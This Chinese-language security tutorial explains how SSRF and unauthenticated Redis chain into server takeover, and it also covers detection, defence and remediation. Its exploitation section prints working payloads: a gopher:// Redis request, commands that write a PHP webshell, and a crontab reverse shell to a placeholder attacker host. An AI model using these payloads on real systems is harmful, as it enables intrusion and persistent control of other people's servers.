写在前面：合法学习边界
本联动利用只在自建靶场与授权内网进行。SSRF 打内网属于高风险行为，禁止对真实系统使用。
一、漏洞原理：为什么 SSRF 和 Redis 未授权能串联
单个漏洞单看：
1
2
| SSRF：服务器能帮攻击者访问任意地址（包括内网）
Redis 未授权：6379 端口无认证，任何人都能执行命令
|
串联起来：
1
2
3
4
| 1. SSRF 让 Web 服务器访问内网 127.0.0.1:6379
2. Redis 未授权 → 执行任意命令
3. CONFIG SET dir/dbfilename 把 Redis 数据写进文件
4. 写入 crontab / WebShell / SSH Key → Getshell
|
关键点：SSRF 提供了“进入内网的路”，Redis 未授权提供了“执行入口”，两者缺一不可。
二、影响与危害
1
2
3
| 内网 Web 服务器被 Getshell
写入计划任务/SSH Key 实现持久控制
进一步横向移动整个内网
|
风险等级：SSRF + Redis 未授权 = 严重，几乎是打内网的经典突破口。
三、利用 / 复现
场景
靶场里有一个“URL 预览/图片代理”功能存在 SSRF；内网有一台 Redis 未授权监听 6379。
第一步：验证 SSRF 能访问内网
1
2
3
| # 预览接口
http://127.0.0.1:6379
http://10.0.0.5:6379
|
如果响应异常/超时表现不同，说明能触达内网端口。
第二步：向 Redis 发送协议数据
利用 gopher 协议把 Redis 命令打进去（授权环境演示）：
1
| gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a
|
再构造写文件命令：
1
2
3
4
| CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE
|
或用 crontab 反弹：
1
2
3
4
| CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/攻击机/4444 0>&1\n"
SAVE
|
用 Python 生成 gopher 编码后，拼进 SSRF 请求即可。
第三步：结果验证
1
2
| 访问 shell.php?c=id 返回命令结果
或攻击机 4444 端口收到反弹 Shell
|
四、检测
1
2
3
4
| 日志中 SSRF 请求目标是 6379、22、80 等内网端口
存在 gopher://、dict:// 等非常规协议
请求中出现 Redis 命令关键字（CONFIG、SAVE、FLUSHALL）
Web 目录出现非业务文件、crontab 异常
|
五、防御
1
2
3
| SSRF 侧：URL 白名单、禁内网地址、禁重定向、禁非常规协议
Redis 侧：requirepass + ACL + bind 内网/本机
网络侧：Web 与 Redis 网络隔离，最小暴露
|
六、修复
1
2
3
4
| 修复 SSRF：白名单 + 禁内网段（127/10/172.16/192.168/169.254）+ 禁 gopher/dict
修复 Redis：设置强密码、绑定地址、禁用 CONFIG/危险命令
清理已写入的 crontab / WebShell / SSH Key，做取证
修复后复测：SSRF 无法触达 Redis，Redis 无密码不可访问
|
七、小结
SSRF + Redis 未授权是典型的“跨层漏洞链”：一个 Web 层的 SSRF，配上内网组件的未授权，直接变成服务器控制。看漏洞不能只看单点，要把“入口 + 跳板 + 目标”连成一条链来评估。